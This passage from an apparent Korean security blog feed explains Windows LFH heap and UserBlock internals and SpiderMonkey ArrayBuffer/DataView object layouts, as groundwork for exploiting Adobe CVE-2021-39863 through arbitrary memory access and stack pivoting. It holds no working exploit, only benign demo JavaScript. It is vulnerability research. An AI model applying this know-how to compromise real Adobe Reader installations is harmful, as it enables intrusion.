    <ul>
      <li>Windows OS가 직접 heap을 할당하는 과정으로</li>
      <li>메모리에 직접 접근해서 heap을 할당하기에 처리 속도가 느리다.</li>
    </ul>
  </li>
</ul>

<hr />

<ul>
  <li>Front-End (LFH,  Low Fragmentation Heap)
    <ul>
      <li>LFH : Windows Vista 등장 이후 Windows OS의 기본 Front End 힙 관리자이다.</li>
      <li>Heap Fragmentation을 낮춰주고, 성능을 향상시켜준다.</li>
      <li>LFH의 동작 과정
        <ol>
          <li>동일한 크기의 heap이 Back-End Heap으로 여러 번 할당되면</li>
          <li>LFH가 해당 크기의 heap 여러 개를 미리 준비한다.
            <ol>
              <li>연속된 Heap 영역을 동일한 크기로 나눠 동일 크기의 Heap Chunk들을 준비한다.</li>
              <li>UserBlock 구조체가 a.에서 나눈 동일한 크기의 Heap Chunk를 관리한다.</li>
            </ol>
          </li>
          <li>
            <p>이후 동일한 크기의 heap이 또 할당될 때, LFH는 UserBlock 구조체가 관리하는 Heap을 반환하여 할당한다.</p>

            <p>⇒ Back-End heap까지 가지 않아 성능이 향상되고,</p>

            <p>동일한 크기의 heap이 연속되어 위치하므로 Heap Fragmentation이 감소한다.</p>
          </li>
        </ol>
      </li>
    </ul>
  </li>
</ul>

<h2 id="2-userblock">2. UserBlock</h2>

<ul>
  <li>UserBlock 구조체는 UserBlock Header와 많은 수의 Heap Chunk로 구성된다.</li>
  <li>UserBlock Header
    <ul>
      <li>UserBlock Header에는 다음 값들이 저장되어 있다.
        <ul>
          <li><code class="language-plaintext highlighter-rouge">Signature</code> : LFH UserBlock 임을 나타내주는 상수, <code class="language-plaintext highlighter-rouge">0xF0E0D0C0</code>이 저장되어있다.</li>
          <li>
            <p><code class="language-plaintext highlighter-rouge">BusyBitmap.Data</code></p>

            <p>: UserBlock Header의 <code class="language-plaintext highlighter-rouge">BitmapData</code>를 가리킨다. 임의 주소에 접근하기 위해 이 값을 사용한다.</p>
          </li>
          <li>
            <p><code class="language-plaintext highlighter-rouge">BitmapData</code></p>

            <p>: UserBlock이 관리하는 Heap 메모리 (Heap Chunk) 중 할당된 Heap Chunk의 정보가 기록되어있다.</p>

            <p>+) 각각의 Heap Chunk에는 0x8 byte의 <code class="language-plaintext highlighter-rouge">Heap Chunk Header</code>가 있고, Heap Chunk Header에는 <code class="language-plaintext highlighter-rouge">Chunk Number</code>가 존재한다.</p>

            <p><code class="language-plaintext highlighter-rouge">Chunk Number</code>는 UserBlock Header와 제일 가까운 Heap Chunk부터 0으로 인덱싱 된다.</p>
          </li>
        </ul>
      </li>
    </ul>

    <p><img src="https://github.com/user-attachments/assets/0817ca65-6609-4abe-84d1-cc495f221c99" alt="image" />
  [그림 1] UserBlock 구조체의 구조. UserBlock Header는 일부만 나타냄</p>
  </li>
</ul>

<h2 id="reference">REFERENCE</h2>
<ol>
  <li><a href="https://www.slideshare.net/slideshow/windows-10-nt-heap-exploitation-english-version/154467191">Windows 10 Nt Heap Exploitation</a></li>
  <li><a href="https://null2root.github.io/blog/2020/02/07/LazyFragmentationHeap-WCTF2019-writeup.html">NT heap in CTF</a></li>
  <li><a href="https://illmatics.com/Understanding_the_LFH.pdf">Windows 7 NT Heap Internal</a></li>
</ol>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="Adobe" /><category term="CVE-2021-39863" /><category term="Windows" /><category term="LFH" /><category term="UserBlock" /><summary type="html"><![CDATA[Windows Heap 할당 매커니즘에는 두 종류가 있다. NT heap : 기존에 존재하던 Windows Heap 할당 매커니즘이다. Segment Heap : Windows 10부터 추가되었으나 많은 프로그램이 NT heap에 최적화되어 상용화되지는 않은 Windows Heap 할당 매커니즘이다.]]></summary></entry><entry><title type="html">JS Object - SpiderMonkey</title><link href="https://whs-segfault.github.io/adobe/2024/08/22/Korean-JS-Object-SpiderMonkey.html" rel="alternate" type="text/html" title="JS Object - SpiderMonkey" /><published>2024-08-22T00:00:00+00:00</published><updated>2024-08-22T00:00:00+00:00</updated><id>https://whs-segfault.github.io/adobe/2024/08/22/%5BKorean%5D-JS-Object-SpiderMonkey</id><content type="html" xml:base="https://whs-segfault.github.io/adobe/2024/08/22/Korean-JS-Object-SpiderMonkey.html"><![CDATA[<ul>
  <li>Exploit은 JS Object로 임의 주소에 접근한 후 Stack Pivoting이라는 기법을 이용해 진행된다</li>
  <li>이에 사용되는 JavaScript의 Object인 JS Object가 ArrayBuffer Object와 DataView Object이다</li>
  <li>Adobe는 SpiderMonkey라는 JavaScript Engine을 사용해 PDF에 내장된 JS code를 compile한다. 이 블로그는 SpiderMonkey Engine에서 JS Object에 관해 기술하였다.</li>
</ul>

<h2 id="1-arraybuffer-object">1. ArrayBuffer Object</h2>

<ul>
  <li>Reference 타입의 데이터 형태로 Object가 Heap에 할당된다.</li>
  <li><strong>고정된 길이</strong>의 연속된 메모리 공간을 할당해 사용한다.</li>
</ul>

<h3 id="1-arraybuffer-object의-특징">1) ArrayBuffer Object의 특징</h3>

<ul>
  <li>메모리에서 사용할 바이트 수를 명시하며 선언한다
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">var</span> <span class="nx">arrbuf</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="nx">bytes</span><span class="p">)</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>Array와 달리 무작위 위치의 데이터에 접근 할 수 없다.</p>

    <ul>
      <li>
        <p>다시 말해, arrbuf[0], arrbuf[1], … 등의 형태로 데이터에 접근할 수 없다.</p>
      </li>
      <li>
        <p><code class="language-plaintext highlighter-rouge">view</code> 역할을 하는 객체 (TypedArray)를 사용한다</p>

        <ul>
          <li>
            <p>TypedArray : 특정 자료형으로 값을 읽을 수 있다.</p>

            <ul>
              <li>
                <p>C언어의 Union과 유사한 기능을 수행한다고 볼 수 있다.</p>
              </li>
              <li>
                <p>Int8Array : 8 bit의 정수로 값에 접근한다.</p>
              </li>
              <li>
                <p>Uint8Array : 8 bit의 음이 아닌 정수로 값에 접근한다.</p>
              </li>
              <li>
                <p>…</p>
              </li>
            </ul>
          </li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<p><img src="https://github.com/user-attachments/assets/e28b4f63-9b9d-45f9-9531-5d5a198f7560" alt="image" /></p>

<p>[그림 1] 16 byte ArrayBuffer Object를 생성하는 모습 (상) 및 생성된 ArrayBuffer의 TypedArray (하)</p>

<h3 id="2-arraybuffer-header">2) ArrayBuffer Header</h3>
<ul>
  <li>ArrayBuffer Object는 0x10 byte 크기의 header를 가지고 있다.</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/68f556a1-3268-445f-86cb-5442be44db04" alt="image" /></p>

<p>[그림 2] ArrayBuffer Object의 구조</p>

<ul>
  <li>
    <p>flags : 해당 ArrayBuffer와 관련된 flag 값이 저장된다.</p>
  </li>
  <li>initializedLength
    <ul>
      <li>ArrayBuffer Data의 길이로 <code class="language-plaintext highlighter-rouge">[ArrayBuffer Object 이름].byteLength</code> 값이다.
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nx">length</span> <span class="o">=</span> <span class="nx">arrbuf</span><span class="p">.</span><span class="nx">byteLength</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p>capacity : 해당 ArrayBuffer Object로 DataView Object가 생성되었을 경우 DataView Object의 주소이다.</p>
  </li>
  <li>length</li>
</ul>

<h2 id="2-dataview-object">2. DataView Object</h2>

<ul>
  <li>ArrayBuffer를 다루기 위한 API를 제공한다.
  ⇒ DataView Object로 ArrayBuffer의 이진 데이터를 읽거나 쓸 수 있다.
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">dv</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="nx">ArrayBuffer_Object</span><span class="p">)</span>
</code></pre></div>    </div>

    <ul>
      <li>
        <p><code class="language-plaintext highlighter-rouge">set</code><strong><u>`????`</u></strong><code class="language-plaintext highlighter-rouge">(offset, value, little_endian)</code></p>

        <p>: ArrayBuffer Data 시작 위치부터 offset 위치에 <strong><code class="language-plaintext highlighter-rouge">????</code></strong> 형식으로 value를 저장한다.</p>

        <ul>
          <li>little_endian == true : little_endian으로 저장한다.</li>
          <li>little_endian == false : big_endian으로 저장한다.</li>
        </ul>
      </li>
      <li>
        <dl>
          <dt><code class="language-plaintext highlighter-rouge">get</code><strong><u>`????`</u></strong><code class="language-plaintext highlighter-rouge">(offset, little_endian)</code></dt>
          <dd>
            <p>ArrayBuffer Data 시작 위치부터 offset 위치의 값을 <strong><code class="language-plaintext highlighter-rouge">????</code></strong> 형식으로 읽는다.</p>
          </dd>
        </dl>

        <ul>
          <li>little_endian == true : little_endian으로 메모리를 읽는다.</li>
          <li>little_endian == false : big_endian으로 메모리를 읽는다.</li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">dv</span><span class="p">.</span><span class="nx">setInt16</span><span class="p">(</span><span class="nx">offset</span><span class="p">,</span> <span class="nx">value</span><span class="p">,</span> <span class="nx">little_endian</span><span class="p">)</span>
 <span class="kd">var</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">dv</span><span class="p">.</span><span class="nx">getInt16</span><span class="p">(</span><span class="nx">offset</span><span class="p">,</span> <span class="nx">little_endian</span><span class="p">)</span>
</code></pre></div></div>

<hr />

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ArrayBuffer, DataView 예시 코드</span>
<span class="c1">// [1] Assign 32 bytes</span>
<span class="kd">var</span> <span class="nx">arrbuf</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>
<span class="c1">// [2] Print length of arrbuf : 32</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">arrbuf</span><span class="p">.</span><span class="nx">byteLength</span><span class="p">)</span>

<span class="c1">// [3] get DataView object of arrbuf</span>
<span class="kd">var</span> <span class="nx">dv</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="nx">arrbuf</span><span class="p">)</span>
<span class="c1">// [3] Change 16 byte value at arrbuf with offset 16 byte by little-endian</span>
<span class="nx">dv</span><span class="p">.</span><span class="nx">setInt16</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="kc">true</span><span class="p">)</span>

<span class="c1">// [4] Print the 16 byte value of first half of arrbuf</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">dv</span><span class="p">.</span><span class="nx">getInt16</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="kc">true</span><span class="p">))</span>
<span class="c1">// [5] Print the 16 byte value of second half of arrbuf</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">dv</span><span class="p">.</span><span class="nx">getInt16</span><span class="p">(</span><span class="mi">16</span><span class="p">,</span> <span class="kc">true</span><span class="p">))</span>
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/a1e1f12c-60d1-4b69-bd9a-adb8189e4951" alt="image" /></p>

<p>[그림 3] ArrayBuffer, DataView 예시 코드 실행 결과</p>

<p>+) DataView Object가 존재하지 않는 Property를 참조하면 DataView Object는 getProperty 함수를 호출해 부모 Object로부터 해당 Property를 검색한다.</p>

<h2 id="3-js-object">3. JS Object</h2>

<ul>
  <li>SpiderMonkey에서는 모든 Object가 ObjectImpl Object를 참조한다. <br />
  ⇒ Object인 DataView Object 역시 ObjectImpl Object에서 사용하는 메서드를 사용할 수 있다.</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/b2cdfa84-4e8b-4d49-b8f2-6dcf228595c9" alt="image" /></p>

<p>[그림 4] SpiderMonkey의 Object 계층 구조도 (ex:DataView Object는 ArrayBufferView Object 참조)</p>

<ul>
  <li>JS Object 중 배열을 요소로 갖고 있지 않은 객체(ex : <code class="language-plaintext highlighter-rouge">DataView</code>)는 <code class="language-plaintext highlighter-rouge">elements_</code> field에 <code class="language-plaintext highlighter-rouge">emptyElementsHeader</code>의 base address를 저장한다.
    <ul>
      <li>이때, <code class="language-plaintext highlighter-rouge">emptyElementsHeader</code>는 static instance로 선언되어 EScript.api의 data 영역에 존재한다.
  <img src="https://github.com/user-attachments/assets/c16a8267-8f03-4d53-8aa7-314f9bcf0cd7" alt="image" />
  [그림 5] ArrayBuffer → DataView → emptyElementsHeader까지의 참조도</li>
    </ul>
  </li>
</ul>

<hr />

<p><a href="https://whs-segfault.github.io/adobe/2024/08/22/JS-Object-SpiderMonkey.html#h-2-dataview-object">2. DataView Object</a>에서도 언급했듯 DataView Object가 존재하지 않는 property를 참조하면 DataView Object는 getProperty 함수를 호출해 해당 Property 검색한다.</p>

<p><img src="https://github.com/user-attachments/assets/24ca4733-a21b-4556-8070-7c96f9707bce" alt="image" />
[그림 6] getProperty 함수의 주소를 찾는 과정을 나타낸 참조도</p>

<h2 id="reference">REFERENCE</h2>
<ol>
  <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/DataView/DataView">DataView Object</a></li>
  <li><a href="https://github.com/ricardoquesada/Spidermonkey/tree/master/js/src/vm">SpiderMonkey Internal</a></li>
  <li><a href="https://www.sidechannel.blog/en/attacking-js-engines/">JSObject</a></li>
</ol>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="Adobe" /><category term="CVE-2021-39863" /><category term="ArrayBuffer" /><category term="DataView" /><summary type="html"><![CDATA[Exploit은 JS Object로 임의 주소에 접근한 후 Stack Pivoting이라는 기법을 이용해 진행된다 이에 사용되는 JavaScript의 Object인 JS Object가 ArrayBuffer Object와 DataView Object이다 Adobe는 SpiderMonkey라는 JavaScript Engine을 사용해 PDF에 내장된 JS code를 compile한다. 이 블로그는 SpiderMonkey Engine에서 JS Object에 관해 기술하였다.]]></summary></entry></feed>